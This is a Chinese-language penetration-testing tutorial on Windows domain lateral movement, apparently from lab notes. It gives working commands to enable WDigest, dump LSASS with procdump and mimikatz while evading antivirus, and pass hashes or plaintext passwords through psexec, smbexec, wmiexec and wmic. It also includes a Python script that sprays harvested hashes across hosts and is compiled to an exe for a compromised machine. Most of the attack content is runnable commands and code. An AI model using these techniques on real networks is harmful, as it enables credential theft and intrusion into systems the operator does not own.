知识点1:
Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码
Windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码
针对以上情况,我们提供了4种方式解决此类问题
1.利用哈希hash传递(path,ptk等)进行移动
2.利用其他服务协议(SMB,WMI等)进行哈希移动
3.利用注册表操作开启Wdigest Auth值进行获取
4.利用工具或第三方平台(Hachcat)进行破解获取
知识点2
Windows系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,
服务器系统在Windows 2003以后,认证方法均为NTLM Hash
注册表修改,开启wdigest
reg add
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDige st /v UseLogonCredential /t REG DWORD /d 1 /f
案例 1-Procdump+Mimikatz 配合获取
当Mimikatz被杀毒软件拦截,可通过procdump 配合 mimikatz
因为procdump是windows官方的软件,所以在实战时一般不会对其进行拦截
procdump -accepteula -ma lsass.exe lsass.dmp
mimikatz 上执行:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
#Pwdump7
#QuarksPwdump
hashcat -a0-m 1000hash file --force
上传到对方服务器,并通过命令执行,执行后会在当前目录生成一个lsass.dmp文件
将对方服务器上生成的dmp文件复制到本地mimikatz的目录
在本机通过mimikatz来读取dmp文件里的内容
此处为读取的对方服务器上的密码
案例 2-域横向移动 SMB 服务利用-psexec,smbexec(官方自带)
利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。
#psexec 第一种:先有 ipc 链接,psexec 需要明文或 hash 传递
net use \\192.168.3.32\ipc$ "admin!@#45" /user:ad
ministrator
psexec \\192.168.3.32 -s cmd # 需要先有 ipc 链接 -s 以 System 权限运行
#psexec 第二种:不用建立 IPC 直接提供明文账户密码
psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd
psexec -hashes :$HASH$ ./administrator@10.1.2.3
psexec -hashes :$HASH$ domain/administrator@10.1.2.3
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 官方 Pstools 无法
采用 hash 连接
#非官方自带-参考 impacket 工具包使用,操作简单,容易被杀
#smbexec 无需先 ipc 链接 明文或 hash 传递
smbexec god/administrator:Admin12345@192.168.3.21
smbexec ./administrator:admin!@#45@192.168.3.32
smbexec -hashes :$HASH$ ./admin@192.168.3.21
smbbexec -hashes :$HASH$ domain/admin@192.168.3.21
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec -hashes :ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21
psexec 第一种:先有 ipc 链接,psexec 需要明文或 hash 传递
将官方的PSTools上传到对方服务器,通过信息收集获取内网其他主机的ip与密码
切换到PSTools目录,通过net use连接内网的目标主机,再通过psexec执行命令
psexec 第二种:不用建立 IPC 直接提供明文账户密码
将官方的PSTools上传到对方服务器,通过信息收集获取内网其他主机的ip与密码
切换到PSTools目录,不需要用net use 命令建立连接,但仍需要明文密码
可以通过非官方自带impacket 工具包进行hash密文连接,容易被杀
将impacket-examples-windows上传到对方服务器
切换到impacket-examples-windows目录通过psexec进行密文连接
smbexec 无需先 ipc 链接 明文或 hash 传递,非官方
将impacket-examples-windows上传到对方服务器
切换到impacket-examples-windows目录,通过smbexec进行连接,对192.168.3.21上的域(god)用户administrator进行连接
对192.168.3.21上的本地用户administrator进行连接
当我们获取不到明文密码时,也可以通过hash密文密码连接
案例 3-域横向移动 WMI 服务利用-cscript,wmiexec,wmic
WMI(Windows Management Instrumentation) 是通过 135 端口进行利用,支持用户名明文或者 hash
的方式进行认证,并且该方法不会在目标日志系统留下痕迹。
自带 WMIC 明文传递 无回显 官方
wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c
ipconfig >C:\1.txt"
自带 cscript 明文传递 有回显
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
套件 impacket wmiexec 明文或 hash 传递 有回显 exe 版本
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"
自带 WMIC 明文传递 无回显 官方
缺点:无回显,需要自己去读取目标主机上执行命令产生结果的文件内容
优点:不会被杀毒软件干扰
目标主机C盘目录下1.txt文件内容
自带 cscript 明文传递 有回显
将wmiexec.vbs上传到对方主机
需要借助wmiexec.vbs文件,切换到wmiexec.vbs所在目录执行cmd窗口
套件 impacket wmiexec 明文或 hash 传递 有回显 exe 版本
有可能被杀毒软件拦截
上传后切换到impacket-examples-windows目录,通过wmiexec执行
wmiexec通过hash密文连接执行命令
总结:
通过官方PSTools中psexec连接时只能用明文密码进行连接,但是不会被杀毒软件拦截
通过官方自带命令WMIC时,只支持明文且没有回显需自己读取
通过官方自带命令cscript与wmiexec.vbs配合时有回显,但是只支持明文
通过非官方impacket-examples-windows中psexec和smbexec和wmiexec连接时可支持密文hash密码连接,但容易被杀毒软件拦截
现在基本通过mimikatz获取的密码都是密文的
案例 4-域横向移动以上服务 hash 批量利用-python 编译 exe
假设当入侵并提权成功一个主机后,对内网的其它主机进行渗透
通过mimikatz获取主机当前的明文或hash密文密码
ip探针,查看当前存活的主机的ip
收集域内用户信息
当只获取到hash密文密码时
通过python脚本,批量的连接进行测试
#pyinstaller.exe -F fuck_neiwang_002.py
import os,time
ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'192.168.3.32'
}
users={
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack',
'mary',
'webadmin'
}
hashs={
'ccef208c6485269c20db2cad21734fe7',
'518b98ad4178a53695dc997aa02d455c'
}
for ip in ips:
for user in users:
for mimahash in hashs:
#wmiexec -hashes :hashgod/user@ipwhoami
exec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip+" whoami"
exec1 = "wmiexec -hashes :"+mimahash+" ./"+user+"@"+ip+" whoami"
print('--->' + exec + '<---')
print('--->' + exec1 + '<---')
os.system(exec)
os.system(exec1)
time.sleep(0.5)
将py脚本通过pyinstaller编译成exe文件,上传到目标主机
因为py脚本中需要使用到wmiexec,所以也需将impacket-examples-windows中的wmiexec上传至目标主机,并且需与py编译的exe文件在一个目录下
当前目录下打开cmd窗口,运行通过py编译后的exe文件
运行结果,192.168.3.32的主机尝试连接成功
接下来,连接192.168.3.32的主机,通过mimikatz获取这个主机的密码
再将获取的密码添加到python编写的脚本里面,进行字典丰富
继续重复上面的步骤,执行python脚本编译的exe文件,尝试对其它主机进行连接